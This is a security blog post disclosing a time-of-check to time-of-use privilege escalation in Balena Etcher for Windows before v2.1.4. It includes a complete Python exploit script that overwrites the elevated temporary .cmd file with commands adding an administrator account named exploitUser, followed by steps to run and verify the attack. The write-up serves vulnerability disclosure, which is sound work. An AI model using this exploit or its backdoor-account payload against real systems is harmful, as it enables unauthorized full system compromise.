Back to Blog

TOCTOU vulnerability leading to escalation of privileges in Balena Etcher prior to v2.1.4

Overview

During my research, I discovered a Time-of-Check to Time-of-Use (TOCTOU) vulnerability in Balena Etcher versions prior to v2.1.4, a tool which is used to flash OS images to SD cards and USB drives. This vulnerability allows an attacker with medium integrity access to escalate privileges to high integrity (elevated) by exploiting a race condition in the application's temporary file handling mechanism. The vulnerability occurs during the image flashing process when Etcher creates and executes the temporary file with elevated privileges through the Windows UAC mechanism.

Technical Analysis

When a user initiates the flashing process Etcher performs the following sequence:

  1. Creates a temporary .cmd file in the user writable directory: C:\Users\<User>\AppData\Local\Temp\etcher\
  2. Populates the file with commands needed for the flashing operation.
  3. Executes the file with elevated privileges via UAC.

The flaw lies in the time gap between file creation (step 1-2) and execution (step 3). During this time, a malicious application running in the same user session can monitor the temporary directory for a new .cmd file and modify it with a malicious payload. This allows the attacker to achieve arbitrary command execution when Etcher executes the file with elevated privileges (High Integrity).

Step 1: Environment Setup

Install Balena Etcher for Windows from the official GitHub releases:

https://github.com/balena-io/etcher/releases/

Step 2: Prepare the Exploit Script

When Etcher is executed, it temporarily creates a command script with the following code:

chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
"C:\Users\<User>\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"

The script sets several environment variables and then launches etcher-util.exe. The goal is to inject malicious commands without disrupting the normal flow of execution, so the user doesn't notice anything unusual. The following two lines are injected before the legitimate executable is called:

net user exploitUser Password123! /add
net localgroup administrators exploitUser /add

The commands create a new user account named exploitUser with the password Password123! and add it to the administrators group, granting it full privileges on the system.

Below is the complete python script used to exploit the vulnerability. It continuously watches the temp directory for the auto-generated .cmd file and replaces its contents with our custom payload:

import os
import time
import glob

username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''

def monitor_and_replace():
    print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")

    while True:
        cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
        for cmd_file in cmd_files:
            print(f"[+] New .cmd file detected: {cmd_file}")
            try:
                with open(cmd_file, "w") as f:
                    f.write(payload)
                print("[+] Payload successfully written to .cmd file.")
                return  # Exit after successful injection
            except Exception as e:
                print(f"[-] Failed to write payload: {e}")
        time.sleep(0.5)

if __name__ == "__main__":
    monitor_and_replace()

It should be noted that Python was used in this case for simplicity. The same attack can be performed using other programming languages or scripting engines that are available by default on Windows.

Step 3: Execute the Attack

Start a command prompt as user (Medium Integrity) and run the exploit:

python exploit.py

Then launch Balena Etcher, select an image file and target drive and click "Flash" to initiate the process. When the UAC prompt appears accept it. The malicious payload will be executed with high integrity privileges.

Step 4: Verify Successful Exploitation

To verify that the exploit was executed successfully run the following commands:

# Check for the new user account
net user

# Verify the user was added to administrators group
net localgroup administrators

If successful, you should see exploitUser listed in both the user accounts and administrators group. Proof of concept with screenshots is available on the GitHub repository.

Impact

The vulnerability allows a medium integrity process to escalate its privileges to high integrity by injecting commands into a temporary script executed by Balena Etcher with elevated rights. A successful attack can lead to full system compromise and may also serve as a method for achieving persistence with administrator privileges.

References